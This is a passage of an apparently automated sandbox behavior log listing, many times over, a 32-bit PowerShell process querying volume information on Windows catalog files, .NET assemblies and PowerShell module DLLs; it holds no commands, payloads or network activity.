Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
